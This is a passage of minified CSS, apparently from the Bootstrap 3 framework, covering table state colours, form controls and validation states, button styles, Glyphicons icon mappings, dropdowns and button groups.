tr.warning>th{background-color:#fcf8e3}.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover,.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr.warning:hover>th{background-color:#faf2cc}.table>thead>tr>td.danger,.table>tbody>tr>td.danger,.table>tfoot>tr>td.danger,.table>thead>tr>th.danger,.table>tbody>tr>th.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>tbody>tr.danger>td,.table>tfoot>tr.danger>td,.table>thead>tr.danger>th,.table>tbody>tr.danger>th,.table>tfoot>tr.danger>th{background-color:#f2dede}.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover,.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr.danger:hover>th{background-color:#ebcccc}@media (max-width:767px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;overflow-x:scroll;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #ddd;-webkit-overflow-scrolling:touch}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>thead>tr>th,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tfoot>tr>td{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>thead>tr>th:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0}.table-responsive>.table-bordered>thead>tr>th:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>th,.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>td{border-bottom:0}}fieldset{padding:0;margin:0;border:0;min-width:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;margin-bottom:5px;font-weight:700}input[type=search]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input[type=radio],input[type=checkbox]{margin:4px 0 0;margin-top:1px \9;line-height:normal}input[type=file]{display:block}input[type=range]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type=file]:focus,input[type=radio]:focus,input[type=checkbox]:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}output{display:block;padding-top:7px;font-size:14px;line-height:1.42857143;color:#555}.form-control{display:block;width:100%;height:34px;padding:6px 12px;font-size:14px;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6)}.form-control::-moz-placeholder{color:#999;opacity:1}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{cursor:not-allowed;background-color:#eee;opacity:1}textarea.form-control{height:auto}input[type=search]{-webkit-appearance:none}input[type=date]{line-height:34px}.form-group{margin-bottom:15px}.radio,.checkbox{display:block;min-height:20px;margin-top:10px;margin-bottom:10px;padding-left:20px}.radio label,.checkbox label{display:inline;font-weight:400;cursor:pointer}.radio input[type=radio],.radio-inline input[type=radio],.checkbox input[type=checkbox],.checkbox-inline input[type=checkbox]{float:left;margin-left:-20px}.radio+.radio,.checkbox+.checkbox{margin-top:-5px}.radio-inline,.checkbox-inline{display:inline-block;padding-left:20px;margin-bottom:0;vertical-align:middle;font-weight:400;cursor:pointer}.radio-inline+.radio-inline,.checkbox-inline+.checkbox-inline{margin-top:0;margin-left:10px}input[type=radio][disabled],input[type=checkbox][disabled],.radio[disabled],.radio-inline[disabled],.checkbox[disabled],.checkbox-inline[disabled],fieldset[disabled] input[type=radio],fieldset[disabled] input[type=checkbox],fieldset[disabled] .radio,fieldset[disabled] .radio-inline,fieldset[disabled] .checkbox,fieldset[disabled] .checkbox-inline{cursor:not-allowed}.input-sm{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-sm{height:30px;line-height:30px}textarea.input-sm,select[multiple].input-sm{height:auto}.input-lg{height:46px;padding:10px 16px;font-size:18px;line-height:1.33;border-radius:6px}select.input-lg{height:46px;line-height:46px}textarea.input-lg,select[multiple].input-lg{height:auto}.has-feedback{position:relative}.has-feedback .form-control{padding-right:42.5px}.has-feedback .form-control-feedback{position:absolute;top:25px;right:0;display:block;width:34px;height:34px;line-height:34px;text-align:center}.has-success .help-block,.has-success .control-label,.has-success .radio,.has-success .checkbox,.has-success .radio-inline,.has-success .checkbox-inline{color:#3c763d}.has-success .form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-success .form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168}.has-success .input-group-addon{color:#3c763d;border-color:#3c763d;background-color:#dff0d8}.has-success .form-control-feedback{color:#3c763d}.has-warning .help-block,.has-warning .control-label,.has-warning .radio,.has-warning .checkbox,.has-warning .radio-inline,.has-warning .checkbox-inline{color:#8a6d3b}.has-warning .form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-warning .form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b}.has-warning .input-group-addon{color:#8a6d3b;border-color:#8a6d3b;background-color:#fcf8e3}.has-warning .form-control-feedback{color:#8a6d3b}.has-error .help-block,.has-error .control-label,.has-error .radio,.has-error .checkbox,.has-error .radio-inline,.has-error .checkbox-inline{color:#a94442}.has-error .form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-error .form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483}.has-error .input-group-addon{color:#a94442;border-color:#a94442;background-color:#f2dede}.has-error .form-control-feedback{color:#a94442}.form-control-static{margin-bottom:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media (min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .radio,.form-inline .checkbox{display:inline-block;margin-top:0;margin-bottom:0;padding-left:0;vertical-align:middle}.form-inline .radio input[type=radio],.form-inline .checkbox input[type=checkbox]{float:none;margin-left:0}.form-inline .has-feedback .form-control-feedback{top:0}}.form-horizontal .control-label,.form-horizontal .radio,.form-horizontal .checkbox,.form-horizontal .radio-inline,.form-horizontal .checkbox-inline{margin-top:0;margin-bottom:0;padding-top:7px}.form-horizontal .radio,.form-horizontal .checkbox{min-height:27px}.form-horizontal .form-group{margin-left:-15px;margin-right:-15px}.form-horizontal .form-control-static{padding-top:7px}@media (min-width:768px){.form-horizontal .control-label{text-align:right}}.form-horizontal .has-feedback .form-control-feedback{top:0;right:15px}.btn{display:inline-block;margin-bottom:0;font-weight:400;text-align:center;vertical-align:middle;cursor:pointer;background-image:none;border:1px solid transparent;white-space:nowrap;padding:6px 12px;font-size:14px;line-height:1.42857143;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.btn:focus,.btn:active:focus,.btn.active:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn:hover,.btn:focus{color:#333;text-decoration:none}.btn:active,.btn.active{outline:0;background-image:none;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn.disabled,.btn[disabled],fieldset[disabled] .btn{cursor:not-allowed;pointer-events:none;opacity:.65;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none}.btn-default{color:#333;background-color:#fff;border-color:#ccc}.btn-default:hover,.btn-default:focus,.btn-default:active,.btn-default.active,.open .dropdown-toggle.btn-default{color:#333;background-color:#ebebeb;border-color:#adadad}.btn-default:active,.btn-default.active,.open .dropdown-toggle.btn-default{background-image:none}.btn-default.disabled,.btn-default[disabled],fieldset[disabled] .btn-default,.btn-default.disabled:hover,.btn-default[disabled]:hover,fieldset[disabled] .btn-default:hover,.btn-default.disabled:focus,.btn-default[disabled]:focus,fieldset[disabled] .btn-default:focus,.btn-default.disabled:active,.btn-default[disabled]:active,fieldset[disabled] .btn-default:active,.btn-default.disabled.active,.btn-default[disabled].active,fieldset[disabled] .btn-default.active{background-color:#fff;border-color:#ccc}.btn-default .badge{color:#fff;background-color:#333}.btn-primary{color:#fff;background-color:#428bca;border-color:#357ebd}.btn-primary:hover,.btn-primary:focus,.btn-primary:active,.btn-primary.active,.open .dropdown-toggle.btn-primary{color:#fff;background-color:#3276b1;border-color:#285e8e}.btn-primary:active,.btn-primary.active,.open .dropdown-toggle.btn-primary{background-image:none}.btn-primary.disabled,.btn-primary[disabled],fieldset[disabled] .btn-primary,.btn-primary.disabled:hover,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary:hover,.btn-primary.disabled:focus,.btn-primary[disabled]:focus,fieldset[disabled] .btn-primary:focus,.btn-primary.disabled:active,.btn-primary[disabled]:active,fieldset[disabled] .btn-primary:active,.btn-primary.disabled.active,.btn-primary[disabled].active,fieldset[disabled] .btn-primary.active{background-color:#428bca;border-color:#357ebd}.btn-primary .badge{color:#428bca;background-color:#fff}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success:hover,.btn-success:focus,.btn-success:active,.btn-success.active,.open .dropdown-toggle.btn-success{color:#fff;background-color:#47a447;border-color:#398439}.btn-success:active,.btn-success.active,.open .dropdown-toggle.btn-success{background-image:none}.btn-success.disabled,.btn-success[disabled],fieldset[disabled] .btn-success,.btn-success.disabled:hover,.btn-success[disabled]:hover,fieldset[disabled] .btn-success:hover,.btn-success.disabled:focus,.btn-success[disabled]:focus,fieldset[disabled] .btn-success:focus,.btn-success.disabled:active,.btn-success[disabled]:active,fieldset[disabled] .btn-success:active,.btn-success.disabled.active,.btn-success[disabled].active,fieldset[disabled] .btn-success.active{background-color:#5cb85c;border-color:#4cae4c}.btn-success .badge{color:#5cb85c;background-color:#fff}.btn-info{color:#fff;background-color:#5bc0de;border-color:#46b8da}.btn-info:hover,.btn-info:focus,.btn-info:active,.btn-info.active,.open .dropdown-toggle.btn-info{color:#fff;background-color:#39b3d7;border-color:#269abc}.btn-info:active,.btn-info.active,.open .dropdown-toggle.btn-info{background-image:none}.btn-info.disabled,.btn-info[disabled],fieldset[disabled] .btn-info,.btn-info.disabled:hover,.btn-info[disabled]:hover,fieldset[disabled] .btn-info:hover,.btn-info.disabled:focus,.btn-info[disabled]:focus,fieldset[disabled] .btn-info:focus,.btn-info.disabled:active,.btn-info[disabled]:active,fieldset[disabled] .btn-info:active,.btn-info.disabled.active,.btn-info[disabled].active,fieldset[disabled] .btn-info.active{background-color:#5bc0de;border-color:#46b8da}.btn-info .badge{color:#5bc0de;background-color:#fff}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning:hover,.btn-warning:focus,.btn-warning:active,.btn-warning.active,.open .dropdown-toggle.btn-warning{color:#fff;background-color:#ed9c28;border-color:#d58512}.btn-warning:active,.btn-warning.active,.open .dropdown-toggle.btn-warning{background-image:none}.btn-warning.disabled,.btn-warning[disabled],fieldset[disabled] .btn-warning,.btn-warning.disabled:hover,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning:hover,.btn-warning.disabled:focus,.btn-warning[disabled]:focus,fieldset[disabled] .btn-warning:focus,.btn-warning.disabled:active,.btn-warning[disabled]:active,fieldset[disabled] .btn-warning:active,.btn-warning.disabled.active,.btn-warning[disabled].active,fieldset[disabled] .btn-warning.active{background-color:#f0ad4e;border-color:#eea236}.btn-warning .badge{color:#f0ad4e;background-color:#fff}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger:hover,.btn-danger:focus,.btn-danger:active,.btn-danger.active,.open .dropdown-toggle.btn-danger{color:#fff;background-color:#d2322d;border-color:#ac2925}.btn-danger:active,.btn-danger.active,.open .dropdown-toggle.btn-danger{background-image:none}.btn-danger.disabled,.btn-danger[disabled],fieldset[disabled] .btn-danger,.btn-danger.disabled:hover,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger:hover,.btn-danger.disabled:focus,.btn-danger[disabled]:focus,fieldset[disabled] .btn-danger:focus,.btn-danger.disabled:active,.btn-danger[disabled]:active,fieldset[disabled] .btn-danger:active,.btn-danger.disabled.active,.btn-danger[disabled].active,fieldset[disabled] .btn-danger.active{background-color:#d9534f;border-color:#d43f3a}.btn-danger .badge{color:#d9534f;background-color:#fff}.btn-link{color:#428bca;font-weight:400;cursor:pointer;border-radius:0}.btn-link,.btn-link:active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link,.btn-link:hover,.btn-link:focus,.btn-link:active{border-color:transparent}.btn-link:hover,.btn-link:focus{color:#2a6496;text-decoration:underline;background-color:transparent}.btn-link[disabled]:hover,fieldset[disabled] .btn-link:hover,.btn-link[disabled]:focus,fieldset[disabled] .btn-link:focus{color:#999;text-decoration:none}.btn-lg,.btn-group-lg>.btn{padding:10px 16px;font-size:18px;line-height:1.33;border-radius:6px}.btn-sm,.btn-group-sm>.btn{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.btn-xs,.btn-group-xs>.btn{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.btn-block{display:block;width:100%;padding-left:0;padding-right:0}.btn-block+.btn-block{margin-top:5px}input[type=submit].btn-block,input[type=reset].btn-block,input[type=button].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}.collapse{display:none}.collapse.in{display:block}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition:height .35s ease;transition:height .35s ease}@font-face{font-family:'Glyphicons Halflings';src:url(../fonts/glyphicons-halflings-regular.eot);src:url(../fonts/glyphicons-halflings-regular.eot?#iefix) format('embedded-opentype'),url(../fonts/glyphicons-halflings-regular.woff) format('woff'),url(../fonts/glyphicons-halflings-regular.ttf) format('truetype'),url(../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular) format('svg')}.glyphicon{position:relative;top:1px;display:inline-block;font-family:'Glyphicons Halflings';font-style:normal;font-weight:400;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.glyphicon-asterisk:before{content:"\2a"}.glyphicon-plus:before{content:"\2b"}.glyphicon-euro:before{content:"\20ac"}.glyphicon-minus:before{content:"\2212"}.glyphicon-cloud:before{content:"\2601"}.glyphicon-envelope:before{content:"\2709"}.glyphicon-pencil:before{content:"\270f"}.glyphicon-glass:before{content:"\e001"}.glyphicon-music:before{content:"\e002"}.glyphicon-search:before{content:"\e003"}.glyphicon-heart:before{content:"\e005"}.glyphicon-star:before{content:"\e006"}.glyphicon-star-empty:before{content:"\e007"}.glyphicon-user:before{content:"\e008"}.glyphicon-film:before{content:"\e009"}.glyphicon-th-large:before{content:"\e010"}.glyphicon-th:before{content:"\e011"}.glyphicon-th-list:before{content:"\e012"}.glyphicon-ok:before{content:"\e013"}.glyphicon-remove:before{content:"\e014"}.glyphicon-zoom-in:before{content:"\e015"}.glyphicon-zoom-out:before{content:"\e016"}.glyphicon-off:before{content:"\e017"}.glyphicon-signal:before{content:"\e018"}.glyphicon-cog:before{content:"\e019"}.glyphicon-trash:before{content:"\e020"}.glyphicon-home:before{content:"\e021"}.glyphicon-file:before{content:"\e022"}.glyphicon-time:before{content:"\e023"}.glyphicon-road:before{content:"\e024"}.glyphicon-download-alt:before{content:"\e025"}.glyphicon-download:before{content:"\e026"}.glyphicon-upload:before{content:"\e027"}.glyphicon-inbox:before{content:"\e028"}.glyphicon-play-circle:before{content:"\e029"}.glyphicon-repeat:before{content:"\e030"}.glyphicon-refresh:before{content:"\e031"}.glyphicon-list-alt:before{content:"\e032"}.glyphicon-lock:before{content:"\e033"}.glyphicon-flag:before{content:"\e034"}.glyphicon-headphones:before{content:"\e035"}.glyphicon-volume-off:before{content:"\e036"}.glyphicon-volume-down:before{content:"\e037"}.glyphicon-volume-up:before{content:"\e038"}.glyphicon-qrcode:before{content:"\e039"}.glyphicon-barcode:before{content:"\e040"}.glyphicon-tag:before{content:"\e041"}.glyphicon-tags:before{content:"\e042"}.glyphicon-book:before{content:"\e043"}.glyphicon-bookmark:before{content:"\e044"}.glyphicon-print:before{content:"\e045"}.glyphicon-camera:before{content:"\e046"}.glyphicon-font:before{content:"\e047"}.glyphicon-bold:before{content:"\e048"}.glyphicon-italic:before{content:"\e049"}.glyphicon-text-height:before{content:"\e050"}.glyphicon-text-width:before{content:"\e051"}.glyphicon-align-left:before{content:"\e052"}.glyphicon-align-center:before{content:"\e053"}.glyphicon-align-right:before{content:"\e054"}.glyphicon-align-justify:before{content:"\e055"}.glyphicon-list:before{content:"\e056"}.glyphicon-indent-left:before{content:"\e057"}.glyphicon-indent-right:before{content:"\e058"}.glyphicon-facetime-video:before{content:"\e059"}.glyphicon-picture:before{content:"\e060"}.glyphicon-map-marker:before{content:"\e062"}.glyphicon-adjust:before{content:"\e063"}.glyphicon-tint:before{content:"\e064"}.glyphicon-edit:before{content:"\e065"}.glyphicon-share:before{content:"\e066"}.glyphicon-check:before{content:"\e067"}.glyphicon-move:before{content:"\e068"}.glyphicon-step-backward:before{content:"\e069"}.glyphicon-fast-backward:before{content:"\e070"}.glyphicon-backward:before{content:"\e071"}.glyphicon-play:before{content:"\e072"}.glyphicon-pause:before{content:"\e073"}.glyphicon-stop:before{content:"\e074"}.glyphicon-forward:before{content:"\e075"}.glyphicon-fast-forward:before{content:"\e076"}.glyphicon-step-forward:before{content:"\e077"}.glyphicon-eject:before{content:"\e078"}.glyphicon-chevron-left:before{content:"\e079"}.glyphicon-chevron-right:before{content:"\e080"}.glyphicon-plus-sign:before{content:"\e081"}.glyphicon-minus-sign:before{content:"\e082"}.glyphicon-remove-sign:before{content:"\e083"}.glyphicon-ok-sign:before{content:"\e084"}.glyphicon-question-sign:before{content:"\e085"}.glyphicon-info-sign:before{content:"\e086"}.glyphicon-screenshot:before{content:"\e087"}.glyphicon-remove-circle:before{content:"\e088"}.glyphicon-ok-circle:before{content:"\e089"}.glyphicon-ban-circle:before{content:"\e090"}.glyphicon-arrow-left:before{content:"\e091"}.glyphicon-arrow-right:before{content:"\e092"}.glyphicon-arrow-up:before{content:"\e093"}.glyphicon-arrow-down:before{content:"\e094"}.glyphicon-share-alt:before{content:"\e095"}.glyphicon-resize-full:before{content:"\e096"}.glyphicon-resize-small:before{content:"\e097"}.glyphicon-exclamation-sign:before{content:"\e101"}.glyphicon-gift:before{content:"\e102"}.glyphicon-leaf:before{content:"\e103"}.glyphicon-fire:before{content:"\e104"}.glyphicon-eye-open:before{content:"\e105"}.glyphicon-eye-close:before{content:"\e106"}.glyphicon-warning-sign:before{content:"\e107"}.glyphicon-plane:before{content:"\e108"}.glyphicon-calendar:before{content:"\e109"}.glyphicon-random:before{content:"\e110"}.glyphicon-comment:before{content:"\e111"}.glyphicon-magnet:before{content:"\e112"}.glyphicon-chevron-up:before{content:"\e113"}.glyphicon-chevron-down:before{content:"\e114"}.glyphicon-retweet:before{content:"\e115"}.glyphicon-shopping-cart:before{content:"\e116"}.glyphicon-folder-close:before{content:"\e117"}.glyphicon-folder-open:before{content:"\e118"}.glyphicon-resize-vertical:before{content:"\e119"}.glyphicon-resize-horizontal:before{content:"\e120"}.glyphicon-hdd:before{content:"\e121"}.glyphicon-bullhorn:before{content:"\e122"}.glyphicon-bell:before{content:"\e123"}.glyphicon-certificate:before{content:"\e124"}.glyphicon-thumbs-up:before{content:"\e125"}.glyphicon-thumbs-down:before{content:"\e126"}.glyphicon-hand-right:before{content:"\e127"}.glyphicon-hand-left:before{content:"\e128"}.glyphicon-hand-up:before{content:"\e129"}.glyphicon-hand-down:before{content:"\e130"}.glyphicon-circle-arrow-right:before{content:"\e131"}.glyphicon-circle-arrow-left:before{content:"\e132"}.glyphicon-circle-arrow-up:before{content:"\e133"}.glyphicon-circle-arrow-down:before{content:"\e134"}.glyphicon-globe:before{content:"\e135"}.glyphicon-wrench:before{content:"\e136"}.glyphicon-tasks:before{content:"\e137"}.glyphicon-filter:before{content:"\e138"}.glyphicon-briefcase:before{content:"\e139"}.glyphicon-fullscreen:before{content:"\e140"}.glyphicon-dashboard:before{content:"\e141"}.glyphicon-paperclip:before{content:"\e142"}.glyphicon-heart-empty:before{content:"\e143"}.glyphicon-link:before{content:"\e144"}.glyphicon-phone:before{content:"\e145"}.glyphicon-pushpin:before{content:"\e146"}.glyphicon-usd:before{content:"\e148"}.glyphicon-gbp:before{content:"\e149"}.glyphicon-sort:before{content:"\e150"}.glyphicon-sort-by-alphabet:before{content:"\e151"}.glyphicon-sort-by-alphabet-alt:before{content:"\e152"}.glyphicon-sort-by-order:before{content:"\e153"}.glyphicon-sort-by-order-alt:before{content:"\e154"}.glyphicon-sort-by-attributes:before{content:"\e155"}.glyphicon-sort-by-attributes-alt:before{content:"\e156"}.glyphicon-unchecked:before{content:"\e157"}.glyphicon-expand:before{content:"\e158"}.glyphicon-collapse-down:before{content:"\e159"}.glyphicon-collapse-up:before{content:"\e160"}.glyphicon-log-in:before{content:"\e161"}.glyphicon-flash:before{content:"\e162"}.glyphicon-log-out:before{content:"\e163"}.glyphicon-new-window:before{content:"\e164"}.glyphicon-record:before{content:"\e165"}.glyphicon-save:before{content:"\e166"}.glyphicon-open:before{content:"\e167"}.glyphicon-saved:before{content:"\e168"}.glyphicon-import:before{content:"\e169"}.glyphicon-export:before{content:"\e170"}.glyphicon-send:before{content:"\e171"}.glyphicon-floppy-disk:before{content:"\e172"}.glyphicon-floppy-saved:before{content:"\e173"}.glyphicon-floppy-remove:before{content:"\e174"}.glyphicon-floppy-save:before{content:"\e175"}.glyphicon-floppy-open:before{content:"\e176"}.glyphicon-credit-card:before{content:"\e177"}.glyphicon-transfer:before{content:"\e178"}.glyphicon-cutlery:before{content:"\e179"}.glyphicon-header:before{content:"\e180"}.glyphicon-compressed:before{content:"\e181"}.glyphicon-earphone:before{content:"\e182"}.glyphicon-phone-alt:before{content:"\e183"}.glyphicon-tower:before{content:"\e184"}.glyphicon-stats:before{content:"\e185"}.glyphicon-sd-video:before{content:"\e186"}.glyphicon-hd-video:before{content:"\e187"}.glyphicon-subtitles:before{content:"\e188"}.glyphicon-sound-stereo:before{content:"\e189"}.glyphicon-sound-dolby:before{content:"\e190"}.glyphicon-sound-5-1:before{content:"\e191"}.glyphicon-sound-6-1:before{content:"\e192"}.glyphicon-sound-7-1:before{content:"\e193"}.glyphicon-copyright-mark:before{content:"\e194"}.glyphicon-registration-mark:before{content:"\e195"}.glyphicon-cloud-download:before{content:"\e197"}.glyphicon-cloud-upload:before{content:"\e198"}.glyphicon-tree-conifer:before{content:"\e199"}.glyphicon-tree-deciduous:before{content:"\e200"}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px solid;border-right:4px solid transparent;border-left:4px solid transparent}.dropdown{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;font-size:14px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,.175);box-shadow:0 6px 12px rgba(0,0,0,.175);background-clip:padding-box}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:400;line-height:1.42857143;color:#333;white-space:nowrap}.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus{text-decoration:none;color:#262626;background-color:#f5f5f5}.dropdown-menu>.active>a,.dropdown-menu>.active>a:hover,.dropdown-menu>.active>a:focus{color:#fff;text-decoration:none;outline:0;background-color:#428bca}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{color:#999}.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{text-decoration:none;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);cursor:not-allowed}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{left:auto;right:0}.dropdown-menu-left{left:0;right:auto}.dropdown-header{display:block;padding:3px 20px;font-size:12px;line-height:1.42857143;color:#999}.dropdown-backdrop{position:fixed;left:0;right:0;bottom:0;top:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{border-top:0;border-bottom:4px solid;content:""}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:1px}@media (min-width:768px){.navbar-right .dropdown-menu{left:auto;right:0}.navbar-right .dropdown-menu-left{left:0;right:auto}}.btn-group,.btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.btn-group>.btn,.btn-group-vertical>.btn{position:relative;float:left}.btn-group>.btn:hover,.btn-group-vertical>.btn:hover,.btn-group>.btn:focus,.btn-group-vertical>.btn:focus,.btn-group>.btn:active,.btn-group-vertical>.btn:active,.btn-group>.btn.active,.btn-group-vertical>.btn.active{z-index:2}.btn-group>.btn:focus,.btn-group-vertical>.btn:focus{outline:0}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{margin-left:-5px}.btn-toolbar .btn-group,.btn-toolbar .input-group{float:left}.btn-toolbar>.btn,.btn-toolbar>.btn-group,.btn-toolbar>.input-group{margin-left:5px}.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle){border-radius:0}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-top-right-radius:0}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0}.btn-group>.btn-group{float:left}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group>.btn-group:first-child>.btn:last-child,.btn-group>.btn-group:first-child>.dropdown-toggle{border-bottom-right-radius:0;border-top-right-radius:0}.btn-group>.btn-group:last-child>.btn:first-child{border-bottom-left-radius:0;border-top-left-radius:0}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{padding-left:8px;padding-right:8px}.btn-group>.btn-lg+.dropdown-toggle{padding-left:12px;padding-right:12px}.btn-group.open .dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-group.open .dropdown-toggle.btn-link{-webkit-box-shadow:none;box-shadow:none}.btn .caret{margin-left:0}.btn-lg .caret{border-width:5px 5px 0;border-bottom-width:0}.dropup .btn-lg .caret{border-width:0 5px 5px}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn{display:block;float:none;width:100%;max-width:100%}.btn-group-vertical>.btn-group>.btn{float:none}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:first-child):not(:last-child){border-radius:0}.btn-group-vertical>.btn:first-child:not(:last-child){border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:last-child:not(:first-child){border-bottom-left-radius:4px;border-top-right-radius:0;border-top-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group-vertical>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group-vertical>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:last-child:n